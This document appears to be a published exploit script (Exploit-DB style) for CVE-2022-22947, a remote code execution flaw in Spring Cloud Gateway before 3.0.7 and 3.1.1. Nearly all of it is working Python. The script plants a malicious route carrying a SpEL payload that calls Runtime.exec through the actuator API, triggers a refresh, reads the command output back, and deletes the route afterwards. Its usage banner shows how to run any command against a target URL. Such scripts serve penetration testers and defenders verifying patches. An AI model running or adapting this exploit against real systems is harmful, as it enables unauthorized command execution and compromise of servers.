# Exploit Title: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 03/03/2022 # Exploit Author: Carlos E. Vieira # Vendor Homepage: https://spring.io/ # Software Link: https://spring.io/projects/spring-cloud-gateway # Version: This vulnerability affect Spring Cloud Gateway < 3.0.7 & < 3.1.1 # Tested on: 3.1.0 # CVE : CVE-2022-22947 import random import string import requests import json import sys import urllib.parse import base64 headers = { "Content-Type": "application/json" , 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36','Accept' : '*/*'} proxies = { 'http': 'http://172.29.32.1:8081', 'https': 'http://172.29.32.1:8081', } id = ''.join(random.choice(string.ascii_lowercase) for i in range(8)) def exploit(url, command): payload = { "id": id, "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\u0022"+command+"\u0022).getInputStream()))}"}}],"uri": "http://example.com"} commandb64 =base64.b64encode(command.encode('utf-8')).decode('utf-8') rbase = requests.post(url + '/actuator/gateway/routes/'+id, headers=headers, data=json.dumps(payload), proxies=proxies, verify=False) if(rbase.status_code == 201): print("[+] Stage deployed to /actuator/gateway/routes/"+id) print("[+] Executing command...") r = requests.post(url + '/actuator/gateway/refresh', headers=headers, proxies=proxies, verify=False) if(r.status_code == 200): print("[+] getting result...") r = requests.get(url + '/actuator/gateway/routes/' + id, headers=headers, proxies=proxies, verify=False) if(r.status_code == 200): get_response = r.json() clean(url, id) return get_response['filters'][0].split("'")[1] else: print("[-] Error: Invalid response") clean(url, id) exit(1) else: clean(url, id) print("[-] Error executing command") def clean(url, id): remove = requests.delete(url + '/actuator/gateway/routes/' + id, headers=headers, proxies=proxies, verify=False) if(remove.status_code == 200): print("[+] Stage removed!") else: print("[-] Error: Fail to remove stage") def banner(): print(""" ################################################### # # # Exploit for CVE-2022-22947 # # - Carlos Vieira (Crowsec) # # # # Usage: # # python3 exploit.py # # # # Example: # # python3 exploit.py http://localhost:8080 'id' # # # ################################################### """) def main(): banner() if len(sys.argv) != 3: print("[-] Error: Invalid arguments") print("[-] Usage: python3 exploit.py ") exit(1) else: url = sys.argv[1] command = sys.argv[2] print(exploit(url, command)) if __name__ == '__main__': main()